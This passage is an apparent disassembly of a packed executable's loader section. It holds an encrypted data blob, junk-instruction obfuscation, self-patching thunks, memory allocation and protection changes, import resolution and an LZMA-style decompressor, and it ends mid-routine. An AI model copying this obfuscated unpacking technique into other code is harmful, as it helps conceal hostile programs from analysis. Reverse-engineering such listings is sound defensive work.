dd 170CB14Bh, 0D98E8BAh, 7E0360Fh, 67827226h, 6C0F138Ch
dd 0F327E5A9h, 5D97DDB9h, 69CC6442h, 0CCA5905Fh, 13A2BC9Ch
dd 0A745E411h, 0A388EF91h, 0A3DB0273h, 14D3FCF0h, 2ABAE192h
dd 0B064A821h, 263F3E6Dh, 0F616B4B5h, 0F0E478B6h, 0E18033E3h
dd 0A9ED7AF4h, 0D8779C11h, 193F6F8Ch, 156AC77Bh, 87337AEh
dd 9F8409ABh, 68ADC3D8h, 4258C5ACh, 419186DCh, 553F63DFh
dd 3F22DFC5h, 0D57CAB35h, 0C941386Bh, 57BA93Fh, 0B53531D3h
dd 0D4D5A2E1h, 8D0DD5EBh, 41B5F7F8h, 947C89B2h, 0A8324E77h
dd 0FFFFAB37h, 69A768DEh, 27000h, 391h, 7F6A0000h, 7F7F0777h
dd 0AFEE875Ah, 0A48AE29Bh, 5B45EFC9h, 0F2A6CF30h, 0D5266659h
dd 0FA9C712Bh, 0A005E517h, 65488DF9h, 0B2721D69h, 1F82B5A5h
dd 883CBE86h, 894DA18Dh, 47175212h, 0E7362F78h, 92F8BB09h
dd 23E847C0h, 3065D1FCh, 0E5A2C79Ch, 4D551567h, 91A827C6h
dd 94E9EBCCh, 0FCF199E4h, 0F48CE57Dh, 0FF2B4A5Fh, 72511A2Eh
dd 0AA1D9BCh, 0B301387Dh, 0A77E5CCBh, 0FB8BC3B2h, 1703C079h
dd 0B020D4A8h, 0F09815E7h, 0F3F7E568h, 0F30E7EFFh, 0EA93534Fh
dd 1CA72F8Ah, 927A172h, 0CA28C317h, 3EE036B0h, 0C63B666Ah
dd 1C7A0584h, 404DFC24h, 3B1EF017h, 7F9B110Ch, 37AF606Dh
dd 0A068D2Fh, 0AB1087B3h, 532FA759h, 5718CBB7h, 89CCA877h
dd 6796C52Bh, 47ED2B56h, 6BBC9B15h, 416618E5h, 26287F13h
dd 0D9DC8B32h, 7F6E78A7h, 1DBDC227h, 0C5E828F7h, 0A7BBF34Eh
dd 1960B435h, 32324826h, 9D6B6B54h, 34AD18A4h, 59284970h
dd 10E70CAh, 0B1355E5Fh, 2B417F53h, 0DA41BE6Dh, 0F6E2CF82h
dd 0C9EEEA1Fh, 6912FA2Ah, 0E70C2C71h, 773F903Fh, 0CEF8B9F0h
dd 489A6FCh, 9CB95B45h, 9A1595D8h, 0F45F2A9Dh, 777C0C3Bh
dd 554EA23Ah, 32AB72FAh, 0AC9C44A3h, 467E15BBh, 0C84DC1FAh
dd 4235B3B4h, 0E2024C88h, 3E6BC18Eh, 58A8CF24h, 3BDF706h
dd 84F06D47h, 0D79D5D53h, 0EF4C27FCh, 60914740h, 4D478BD2h
dd 0DC5DC6B1h, 559DCBCAh, 0DC202843h, 0F06A5CC3h, 0FEEC7EE4h
dd 62462986h, 0CB83BD74h, 127F1919h, 153AA288h, 4FAF5707h
dd 9ABEFB8h, 24E3001Dh, 736A7677h, 288F0B31h, 840D97B6h
dd 18AF436Ah, 51DC06D6h, 5843C1C2h, 36FA5A2Dh, 90C77A49h
dd 0DCAA0354h, 0CBC60512h, 3B4BC03Bh, 0A8387C22h, 72BD2A15h
dd 0E798C381h, 7D1C3D51h, 0E3FA72E8h, 0E11A55DAh, 0B7AA076Eh
dd 0E05F3C8Bh, 0B779FCE3h, 4C7A7FCAh, 0EBCABAF9h, 9BC7B2C8h
dd 0A0523EF2h, 3AA92FC6h, 1F0DD5E3h, 0CE7A446Eh, 30E7287Ch
dd 3754A69Bh, 890A30BFh, 9AB52095h, 64A61576h, 0E4234C03h
dd 0AE94EE3Bh, 0FA86C76h, 374EB52Bh, 0D22A606Dh, 1E437DF2h
dd 0D6144AE8h, 3A8E0E3Fh, 2B004CBh, 0DA9D5D4h, 6B3F6BBBh
dd 768C6986h, 0B739F0BAh, 0D7687277h, 37EF156Ch, 0B214FAC0h
dd 208458E1h, 62C9FBB3h, 0A8D82C71h, 0F62BA1D9h, 8A15DFA1h
dd 9F666EB2h, 8B17F6E8h, 0A49251F1h, 6AC4FBF0h, 0DA7CE001h
dd 0A556C8BAh, 0B8D77CF6h, 439419FFh, 78344AC7h, 79AA969Dh
dd 77C3699Ch, 0B9AB3EE9h, 838A294Bh, 78AF9749h, 0B49070Bh
dd 0BB538F97h, 0AF5A6553h, 0A775EFB5h, 0ADA39735h, 72B37BF8h
dd 12684E91h, 1C24B299h, 0DB173247h, 0D26294D9h, 0D23E2669h
dd 6B49E15h, 2610EB51h, 36BA7202h, 6984F818h, 6302879h
dd 0C610AFAh, 0D0B25C3Fh, 40898D30h, 0FC4C9C09h, 47135E73h
dd 0DC4F3B83h, 2025712Eh, 0EEBF6E82h, 0AA8029C1h, 0E5F07808h
dd 54DC0E82h, 0F3C308C1h, 0D0643022h, 5FF23376h, 0FE89DA91h
dd 1A802C56h, 20734FD2h, 0B7681Eh, 0BF54F52Eh, 0B0AEF31Ah
dd 0BB20F1ADh, 0E622F252h, 0E3D08934h, 3619EC89h, 0FCB28C22h
dd 77C99C8h, 7F9D01B1h, 24C3EBC1h, 84EE5890h, 258F11FCh
dd 0B6BE8C9h, 0E05F51B9h, 6A391703h, 4291CF39h, 39A5B750h
dd 0D393FFFh, 0
dd 40000000h, 0
dd 0C1CD800h, 400h, 0
dd 43765300h, 4282AE00h, 42816800h, 42151800h, 2 dup(40000000h)
dd 0
dd 42800000h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_437085 proc near ; CODE XREF: .vty:0043764Ej startj
jmp sub_4107B2
sub_437085 endp
; ---------------------------------------------------------------------------
dw 5B00h
; ---------------------------------------------------------------------------
lea ebx, [ebx-3Ah]
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
nop
nop
nop
nop
jmp short loc_4370C5
; ---------------------------------------------------------------------------
lea ebx, [ebx-3Ah]
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
pushfw
pusha
mov esi, [esp+22h]
lea edi, [esi-5]
add esi, 0Ch
mov ecx, 0Bh
rep movsb
sub dword ptr [esp+22h], 5
popa
popfw
retn
; ---------------------------------------------------------------------------
loc_4370C5: ; CODE XREF: .vty:0043709Bj
add [ebx], ebx
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
nop
nop
nop
nop
nop
jmp short loc_4370FD
; ---------------------------------------------------------------------------
dw 1B01h
align 10h
pushfw
pusha
mov esi, [esp+22h]
lea edi, [esi-5]
add esi, 0Ch
mov ecx, 0Ah
rep movsb
sub dword ptr [esp+22h], 5
popa
popfw
retn
; ---------------------------------------------------------------------------
loc_4370FD: ; CODE XREF: .vty:004370D4j
mov edx, [ebx]
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
nop
nop
nop
nop
nop
jmp short loc_437135
; ---------------------------------------------------------------------------
mov edx, [ebx]
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
pushfw
pusha
mov esi, [esp+22h]
lea edi, [esi-5]
add esi, 0Ch
mov ecx, 0Ah
rep movsb
sub dword ptr [esp+22h], 5
popa
popfw
retn
; ---------------------------------------------------------------------------
loc_437135: ; CODE XREF: .vty:0043710Cj
lea esi, [ebx+14h]
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
nop
nop
nop
nop
jmp short loc_43716E
; ---------------------------------------------------------------------------
lea esi, [ebx+14h]
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
pushfw
pusha
mov esi, [esp+22h]
lea edi, [esi-5]
add esi, 0Ch
mov ecx, 0Bh
rep movsb
sub dword ptr [esp+22h], 5
popa
popfw
retn
; ---------------------------------------------------------------------------
loc_43716E: ; CODE XREF: .vty:00437144j
push 8
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
nop
nop
nop
nop
nop
jmp short loc_4371A6
; ---------------------------------------------------------------------------
push 8
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
pushfw
pusha
mov esi, [esp+22h]
lea edi, [esi-5]
add esi, 0Ch
mov ecx, 0Ah
rep movsb
sub dword ptr [esp+22h], 5
popa
popfw
retn
; ---------------------------------------------------------------------------
loc_4371A6: ; CODE XREF: .vty:0043717Dj
pop ecx
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
nop
nop
nop
nop
nop
nop
jmp short loc_4371DD
; ---------------------------------------------------------------------------
pop ecx
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
pushfw
pusha
mov esi, [esp+22h]
lea edi, [esi-5]
add esi, 0Ch
mov ecx, 9
rep movsb
sub dword ptr [esp+22h], 5
popa
popfw
retn
; ---------------------------------------------------------------------------
loc_4371DD: ; CODE XREF: .vty:004371B5j
; .vty:loc_437283j
add [esi], edx
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
nop
nop
nop
nop
nop
jmp short loc_437215
; ---------------------------------------------------------------------------
add [esi], edx
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
pushfw
pusha
mov esi, [esp+22h]
lea edi, [esi-5]
add esi, 0Ch
mov ecx, 0Ah
rep movsb
sub dword ptr [esp+22h], 5
popa
popfw
retn
; ---------------------------------------------------------------------------
loc_437215: ; CODE XREF: .vty:004371ECj
lodsd
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
nop
nop
nop
nop
nop
nop
jmp short loc_43724C
; ---------------------------------------------------------------------------
lodsd
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
pushfw
pusha
mov esi, [esp+22h]
lea edi, [esi-5]
add esi, 0Ch
mov ecx, 9
rep movsb
sub dword ptr [esp+22h], 5
popa
popfw
retn
; ---------------------------------------------------------------------------
loc_43724C: ; CODE XREF: .vty:00437224j
dec ecx
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
nop
nop
nop
nop
nop
nop
jmp short loc_437283
; ---------------------------------------------------------------------------
dec ecx
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
pushfw
pusha
mov esi, [esp+22h]
lea edi, [esi-5]
add esi, 0Ch
mov ecx, 9
rep movsb
sub dword ptr [esp+22h], 5
popa
popfw
retn
; ---------------------------------------------------------------------------
loc_437283: ; CODE XREF: .vty:0043725Bj
jnz loc_4371DD
mov ebp, eax
mov byte ptr [esi], 0E9h
mov eax, [ebx+0Ch]
mov [esi+1], eax
mov eax, [ebp+8]
push 4
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
nop
nop
nop
nop
nop
jmp short loc_4372CF
; ---------------------------------------------------------------------------
push 4
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
pushfw
pusha
mov esi, [esp+22h]
lea edi, [esi-5]
add esi, 0Ch
mov ecx, 0Ah
rep movsb
sub dword ptr [esp+22h], 5
popa
popfw
retn
; ---------------------------------------------------------------------------
loc_4372CF: ; CODE XREF: .vty:004372A6j
push 1000h
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
nop
nop
jmp short loc_43730A
; ---------------------------------------------------------------------------
push 1000h
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
pushfw
pusha
mov esi, [esp+22h]
lea edi, [esi-5]
add esi, 0Ch
mov ecx, 0Dh
rep movsb
sub dword ptr [esp+22h], 5
popa
popfw
retn
; ---------------------------------------------------------------------------
loc_43730A: ; CODE XREF: .vty:004372DEj
push 0F000000h
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
nop
nop
jmp short loc_437345
; ---------------------------------------------------------------------------
push 0F000000h
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
pushfw
pusha
mov esi, [esp+22h]
lea edi, [esi-5]
add esi, 0Ch
mov ecx, 0Dh
rep movsb
sub dword ptr [esp+22h], 5
popa
popfw
retn
; ---------------------------------------------------------------------------
loc_437345: ; CODE XREF: .vty:00437319j
push 0
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
nop
nop
nop
nop
nop
jmp short loc_43737D
; ---------------------------------------------------------------------------
push 0
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
pushfw
pusha
mov esi, [esp+22h]
lea edi, [esi-5]
add esi, 0Ch
mov ecx, 0Ah
rep movsb
sub dword ptr [esp+22h], 5
popa
popfw
retn
; ---------------------------------------------------------------------------
loc_43737D: ; CODE XREF: .vty:00437354j
call eax
mov edx, eax
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
nop
nop
nop
nop
nop
jmp short loc_4373B7
; ---------------------------------------------------------------------------
mov edx, eax
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
pushfw
pusha
mov esi, [esp+22h]
lea edi, [esi-5]
add esi, 0Ch
mov ecx, 0Ah
rep movsb
sub dword ptr [esp+22h], 5
popa
popfw
retn
; ---------------------------------------------------------------------------
loc_4373B7: ; CODE XREF: .vty:0043738Ej
mov edi, edx
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
nop
nop
nop
nop
nop
jmp short loc_4373EF
; ---------------------------------------------------------------------------
mov edi, edx
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
pushfw
pusha
mov esi, [esp+22h]
lea edi, [esi-5]
add esi, 0Ch
mov ecx, 0Ah
rep movsb
sub dword ptr [esp+22h], 5
popa
popfw
retn
; ---------------------------------------------------------------------------
loc_4373EF: ; CODE XREF: .vty:004373C6j
mov eax, 90h
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
nop
nop
jmp short loc_43742A
; ---------------------------------------------------------------------------
mov eax, 90h
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
pushfw
pusha
mov esi, [esp+22h]
lea edi, [esi-5]
add esi, 0Ch
mov ecx, 0Dh
rep movsb
sub dword ptr [esp+22h], 5
popa
popfw
retn
; ---------------------------------------------------------------------------
loc_43742A: ; CODE XREF: .vty:004373FEj
mov ecx, 0EFFFFFFh
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
nop
nop
jmp short loc_437465
; ---------------------------------------------------------------------------
mov ecx, 0EFFFFFFh
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
pushfw
pusha
mov esi, [esp+22h]
lea edi, [esi-5]
add esi, 0Ch
mov ecx, 0Dh
rep movsb
sub dword ptr [esp+22h], 5
popa
popfw
retn
; ---------------------------------------------------------------------------
loc_437465: ; CODE XREF: .vty:00437439j
rep stosb
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
nop
nop
nop
nop
nop
jmp short loc_43749D
; ---------------------------------------------------------------------------
rep stosb
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
pushfw
pusha
mov esi, [esp+22h]
lea edi, [esi-5]
add esi, 0Ch
mov ecx, 0Ah
rep movsb
sub dword ptr [esp+22h], 5
popa
popfw
retn
; ---------------------------------------------------------------------------
loc_43749D: ; CODE XREF: .vty:00437474j
mov eax, 0C3h
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
nop
nop
jmp short loc_4374D8
; ---------------------------------------------------------------------------
mov eax, 0C3h
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
pushfw
pusha
mov esi, [esp+22h]
lea edi, [esi-5]
add esi, 0Ch
mov ecx, 0Dh
rep movsb
sub dword ptr [esp+22h], 5
popa
popfw
retn
; ---------------------------------------------------------------------------
loc_4374D8: ; CODE XREF: .vty:004374ACj
stosb
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
nop
nop
nop
nop
nop
nop
jmp short loc_43750F
; ---------------------------------------------------------------------------
stosb
mov eax, eax
mov ebx, ebx
mov ecx, ecx
mov esi, esi
pushfw
pusha
mov esi, [esp+22h]
lea edi, [esi-5]
add esi, 0Ch
mov ecx, 9
rep movsb
sub dword ptr [esp+22h], 5
popa
popfw
retn
; ---------------------------------------------------------------------------
loc_43750F: ; CODE XREF: .vty:004374E7j
call edx
push 4
push 1000h
push dword ptr [ebx+8]
push ecx
call dword ptr [ebp+8]
mov edx, eax
mov esi, [ebx+18h]
jmp loc_4375C5
; ---------------------------------------------------------------------------
loc_437529: ; CODE XREF: .vty:004375C8j
mov edi, eax
add edi, [ebx]
lodsd
mov ecx, eax
btr edi, 1Fh
jnb short loc_43753D
rep movsd
jmp loc_4375C5
; ---------------------------------------------------------------------------
loc_43753D: ; CODE XREF: .vty:00437534j
pusha
push edx
push esi
push edi
call dword ptr [ebx+14h]
mov [esp+1Ch], eax
popa
pusha
mov ebp, edi
sub edi, [ebx]
mov ebx, edi
lea edi, [eax-5]
xor esi, esi
push 0FFFFFFFCh
pop edx
jmp short loc_4375BE
; ---------------------------------------------------------------------------
loc_43755A: ; CODE XREF: .vty:004375C0j
mov al, [esi+ebp]
and al, 0FEh
cmp al, 0E8h
jz short loc_437570
mov eax, [esi+ebp]
and ah, 0F0h
cmp ax, 800Fh
jnz short loc_4375BD
inc esi
loc_437570: ; CODE XREF: .vty:00437561j
mov eax, esi
sub eax, edx
xor al, 3
mov edx, esi
mov cl, [esi+ebp+4]
inc ecx
shr cl, 1
jnz short loc_4375BD
push edi
inc esi
mov edi, [esi+ebp]
loc_437586: ; CODE XREF: .vty:004375AAj
sub edi, ebx
sub edi, esi
mov [esi+ebp], edi
cmp eax, 3
ja short loc_4375AC
mov ecx, eax
shl ecx, 3
mov edi, 0FFh
shl edi, cl
xor edi, [esi+ebp]
lea ecx, [eax+esi]
mov cl, [ecx+ebp]
inc ecx
shr cl, 1
jz short loc_437586
loc_4375AC: ; CODE XREF: .vty:00437590j
add esi, 3
mov cl, [esi+ebp]
shr cl, 1
setnb ch
dec ch
mov [esi+ebp], ch
pop edi
loc_4375BD: ; CODE XREF: .vty:0043756Dj
; .vty:0043757Fj
inc esi
loc_4375BE: ; CODE XREF: .vty:00437558j
cmp esi, edi
jl short loc_43755A
popa
add esi, ecx
loc_4375C5: ; CODE XREF: .vty:00437524j
; .vty:00437538j
lodsd
test eax, eax
jnz loc_437529
push 8000h
push eax
push edx
call dword ptr [ebp+0Ch]
lea eax, [ebx+0Ch]
push eax
push 4
push 1
push dword ptr [ebx]
call dword ptr [ebp+10h]
mov eax, [ebx+8]
sub eax, [ebx+4]
push 4
push 1000h
push eax
push 0
call dword ptr [ebp+8]
pusha
push eax
push dword ptr [ebx+1Ch]
push dword ptr [ebx]
call dword ptr [ebx+14h]
popa
push 8000h
push 0
push eax
call dword ptr [ebp+0Ch]
lea eax, [ebx+0Ch]
push eax
push dword ptr [ebx+0Ch]
push 1
push dword ptr [ebx]
call dword ptr [ebp+10h]
mov esi, [ebx+20h]
jmp short loc_437648
; ---------------------------------------------------------------------------
loc_437621: ; CODE XREF: .vty:0043764Bj
add eax, [ebx]
push eax
call dword ptr [ebp+0]
mov edi, [esi]
add edi, [ebx]
jmp short loc_43763F
; ---------------------------------------------------------------------------
loc_43762D: ; CODE XREF: .vty:00437643j
btr ecx, 1Fh
jb short loc_437637
add ecx, [ebx]
inc ecx
inc ecx
loc_437637: ; CODE XREF: .vty:00437631j
push eax
push ecx
push eax
call dword ptr [ebp+4]
stosd
pop eax
loc_43763F: ; CODE XREF: .vty:0043762Bj
mov ecx, [edi]
test ecx, ecx
jnz short loc_43762D
add esi, 10h
loc_437648: ; CODE XREF: .vty:0043761Fj
lodsd
test eax, eax
jnz short loc_437621
popa
jmp sub_437085
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 30h
xor eax, eax
inc eax
mov edi, [ebp+10h]
mov [ebp-14h], eax
mov [ebp-1Ch], eax
mov [ebp-18h], eax
mov [ebp-28h], eax
mov eax, 400h
xor edx, edx
mov ecx, 30736h
rep stosd
mov eax, [ebp+0Ch]
push 5
mov [ebp-8], eax
mov [ebp-10h], edx
mov [ebp-1], dl
mov [ebp-0Ch], edx
mov [ebp+0Ch], edx
or eax, 0FFFFFFFFh
pop ecx
loc_437691: ; CODE XREF: .vty:004376A6j
mov esi, [ebp-8]
mov edx, [ebp+0Ch]
movzx esi, byte ptr [esi]
shl edx, 8
or edx, esi
inc dword ptr [ebp-8]
dec ecx
mov [ebp+0Ch], edx
jnz short loc_437691
loc_4376A8: ; CODE XREF: .vty:0043783Aj
; .vty:00437849j ...
mov esi, [ebp-10h]
mov ecx, [ebp-0Ch]
mov edx, [ebp+10h]
and esi, 3
shl ecx, 4
add ecx, esi
cmp eax, 1000000h
lea edi, [edx+ecx*4]
jnb short loc_4376DA
mov edx, [ebp-8]
mov ecx, [ebp+0Ch]
movzx edx, byte ptr [edx]
shl ecx, 8
or ecx, edx
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_4376DA: ; CODE XREF: .vty:004376C1j
mov ecx, [edi]
mov ebx, eax
shr ebx, 0Bh
imul ebx, ecx
cmp [ebp+0Ch], ebx
jnb loc_437857
mov esi, 800h
sub esi, ecx
shr esi, 5
add esi, ecx
movzx ecx, byte ptr [ebp-1]
imul ecx, 0C00h
xor edx, edx
mov [edi], esi
mov esi, [ebp+10h]
inc edx
cmp dword ptr [ebp-0Ch], 7
lea ecx, [esi+ecx+1CD8h]
mov eax, ebx
mov [ebp-20h], ecx
jl loc_4377C0
mov ecx, [ebp-10h]
sub ecx, [ebp-14h]
mov esi, [ebp+8]
movzx ecx, byte ptr [esi+ecx]
mov [ebp-24h], ecx
loc_437731: ; CODE XREF: .vty:004377B8j
shl dword ptr [ebp-24h], 1
mov esi, [ebp-24h]
mov edi, [ebp-20h]
and esi, 100h
cmp eax, 1000000h
lea ecx, [edx+esi]
lea ecx, [edi+ecx*4+400h]
mov [ebp-2Ch], ecx
jnb short loc_43776B
mov ebx, [ebp-8]
mov edi, [ebp+0Ch]
movzx ebx, byte ptr [ebx]
shl edi, 8
or edi, ebx
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], edi
loc_43776B: ; CODE XREF: .vty:00437752j
mov ecx, [ecx]
mov edi, eax
shr edi, 0Bh
imul edi, ecx
cmp [ebp+0Ch], edi
jnb short loc_437799
mov eax, edi
mov edi, 800h
sub edi, ecx
shr edi, 5
add edi, ecx
mov ecx, [ebp-2Ch]
add edx, edx
test esi, esi
mov [ecx], edi
jnz loc_437819
jmp short loc_4377B2
; ---------------------------------------------------------------------------
loc_437799: ; CODE XREF: .vty:00437778j
sub [ebp+0Ch], edi
sub eax, edi
mov edi, ecx
shr edi, 5
sub ecx, edi
test esi, esi
mov edi, [ebp-2Ch]
mov [edi], ecx
lea edx, [edx+edx+1]
jz short loc_437819
loc_4377B2: ; CODE XREF: .vty:00437797j
cmp edx, 100h
jl loc_437731
jmp short loc_437821
; ---------------------------------------------------------------------------
loc_4377C0: ; CODE XREF: .vty:0043771Bj
; .vty:0043781Fj
cmp eax, 1000000h
mov ecx, [ebp-20h]
lea edi, [ecx+edx*4]
jnb short loc_4377E4
mov esi, [ebp-8]
mov ecx, [ebp+0Ch]
movzx esi, byte ptr [esi]
shl ecx, 8
or ecx, esi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_4377E4: ; CODE XREF: .vty:004377CBj
mov ecx, [edi]
mov esi, eax
shr esi, 0Bh
imul esi, ecx
cmp [ebp+0Ch], esi
jnb short loc_437807
mov eax, esi
mov esi, 800h
sub esi, ecx
shr esi, 5
add esi, ecx
mov [edi], esi
add edx, edx
jmp short loc_437819
; ---------------------------------------------------------------------------
loc_437807: ; CODE XREF: .vty:004377F1j
sub [ebp+0Ch], esi
sub eax, esi
mov esi, ecx
shr esi, 5
sub ecx, esi
mov [edi], ecx
lea edx, [edx+edx+1]
loc_437819: ; CODE XREF: .vty:00437791j
; .vty:004377B0j ...
cmp edx, 100h
jl short loc_4377C0
loc_437821: ; CODE XREF: .vty:004377BEj
mov esi, [ebp-10h]
mov ecx, [ebp+8]
inc dword ptr [ebp-10h]
cmp dword ptr [ebp-0Ch], 4
mov [ebp-1], dl
mov [ecx+esi], dl
jge short loc_43783F
and dword ptr [ebp-0Ch], 0
jmp loc_4376A8
; ---------------------------------------------------------------------------
loc_43783F: ; CODE XREF: .vty:00437834j
cmp dword ptr [ebp-0Ch], 0Ah
jge short loc_43784E
sub dword ptr [ebp-0Ch], 3
jmp loc_4376A8
; ---------------------------------------------------------------------------
loc_43784E: ; CODE XREF: .vty:00437843j
sub dword ptr [ebp-0Ch], 6
jmp loc_4376A8
; ---------------------------------------------------------------------------
loc_437857: ; CODE XREF: .vty:004376E7j
sub [ebp+0Ch], ebx
mov edx, ecx
shr edx, 5
sub ecx, edx
mov edx, [ebp-0Ch]
sub eax, ebx
cmp eax, 1000000h
mov [edi], ecx
mov ecx, [ebp+10h]
lea edx, [ecx+edx*4+300h]
jnb short loc_437890
mov edi, [ebp-8]
mov ecx, [ebp+0Ch]
movzx edi, byte ptr [edi]
shl ecx, 8
or ecx, edi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_437890: ; CODE XREF: .vty:00437877j
mov ecx, [edx]
mov edi, eax
shr edi, 0Bh
imul edi, ecx
cmp [ebp+0Ch], edi
jnb short loc_4378E2
mov eax, edi
mov edi, 800h
sub edi, ecx
shr edi, 5
add edi, ecx
cmp dword ptr [ebp-0Ch], 7
mov ecx, [ebp-18h]
mov [ebp-28h], ecx
mov ecx, [ebp-1Ch]
mov [ebp-18h], ecx
mov ecx, [ebp-14h]
mov [edx], edi
mov [ebp-1Ch], ecx
jge short loc_4378CD
and dword ptr [ebp-0Ch], 0
jmp short loc_4378D4
; ---------------------------------------------------------------------------
loc_4378CD: ; CODE XREF: .vty:004378C5j
mov dword ptr [ebp-0Ch], 3
loc_4378D4: ; CODE XREF: .vty:004378CBj
mov ecx, [ebp+10h]
add ecx, 0CC8h
jmp loc_437ACB
; ---------------------------------------------------------------------------
loc_4378E2: ; CODE XREF: .vty:0043789Dj
sub [ebp+0Ch], edi
sub eax, edi
mov edi, ecx
shr edi, 5
sub ecx, edi
cmp eax, 1000000h
mov [edx], ecx
mov ecx, [ebp-0Ch]
mov edx, [ebp+10h]
lea edi, [edx+ecx*4+330h]
jnb short loc_43791B
mov edx, [ebp-8]
mov ecx, [ebp+0Ch]
movzx edx, byte ptr [edx]
shl ecx, 8
or ecx, edx
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_43791B: ; CODE XREF: .vty:00437902j
mov ecx, [edi]
mov edx, eax
shr edx, 0Bh
imul edx, ecx
cmp [ebp+0Ch], edx
jnb loc_4379CF
mov ebx, 800h
sub ebx, ecx
shr ebx, 5
add ebx, ecx
mov ecx, [ebp-0Ch]
add ecx, 0Fh
shl ecx, 4
mov [edi], ebx
mov edi, [ebp+10h]
add ecx, esi
cmp edx, 1000000h
mov eax, edx
lea edi, [edi+ecx*4]
jnb short loc_437970
mov ecx, [ebp+0Ch]
shl edx, 8
mov eax, edx
mov edx, [ebp-8]
movzx edx, byte ptr [edx]
shl ecx, 8
or ecx, edx
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_437970: ; CODE XREF: .vty:00437955j
mov ecx, [edi]
mov edx, eax
shr edx, 0Bh
imul edx, ecx
cmp [ebp+0Ch], edx
jnb short loc_4379BC
mov esi, [ebp-10h]
mov eax, edx
mov edx, 800h
sub edx, ecx
shr edx, 5
add edx, ecx
xor ecx, ecx
cmp dword ptr [ebp-0Ch], 7
mov [edi], edx
mov edx, [ebp+8]
setnl cl
lea ecx, [ecx+ecx+9]
mov [ebp-0Ch], ecx
mov ecx, [ebp-10h]
sub ecx, [ebp-14h]
inc dword ptr [ebp-10h]
mov cl, [edx+ecx]
mov [ebp-1], cl
mov [edx+esi], cl
jmp loc_4376A8
; ---------------------------------------------------------------------------
loc_4379BC: ; CODE XREF: .vty:0043797Dj
sub [ebp+0Ch], edx
sub eax, edx
mov edx, ecx
shr edx, 5
sub ecx, edx
mov [edi], ecx
jmp loc_437AAF
; ---------------------------------------------------------------------------
loc_4379CF: ; CODE XREF: .vty:00437928j
sub [ebp+0Ch], edx
sub eax, edx
mov edx, ecx
shr edx, 5
sub ecx, edx
cmp eax, 1000000h
mov edx, [ebp+10h]
mov [edi], ecx
mov ecx, [ebp-0Ch]
lea edx, [edx+ecx*4+360h]
jnb short loc_437A08
mov edi, [ebp-8]
mov ecx, [ebp+0Ch]
movzx edi, byte ptr [edi]
shl ecx, 8
or ecx, edi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_437A08: ; CODE XREF: .vty:004379EFj
mov ecx, [edx]
mov edi, eax
shr edi, 0Bh
imul edi, ecx
cmp [ebp+0Ch], edi
jnb short loc_437A2C
mov eax, edi
mov edi, 800h
sub edi, ecx
shr edi, 5
add edi, ecx
mov ecx, [ebp-1Ch]
mov [edx], edi
jmp short loc_437AA6
; ---------------------------------------------------------------------------
loc_437A2C: ; CODE XREF: .vty:00437A15j
sub [ebp+0Ch], edi
sub eax, edi
mov edi, ecx
shr edi, 5
sub ecx, edi
cmp eax, 1000000h
mov [edx], ecx
mov ecx, [ebp-0Ch]
mov edx, [ebp+10h]
lea edx, [edx+ecx*4+390h]
jnb short loc_437A65
mov edi, [ebp-8]
mov ecx, [ebp+0Ch]
movzx edi, byte ptr [edi]
shl ecx, 8
or ecx, edi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_437A65: ; CODE XREF: .vty:00437A4Cj
mov ecx, [edx]
mov edi, eax
shr edi, 0Bh
imul edi, ecx
cmp [ebp+0Ch], edi
jnb short loc_437A89
mov eax, edi
mov edi, 800h
sub edi, ecx
shr edi, 5
add edi, ecx
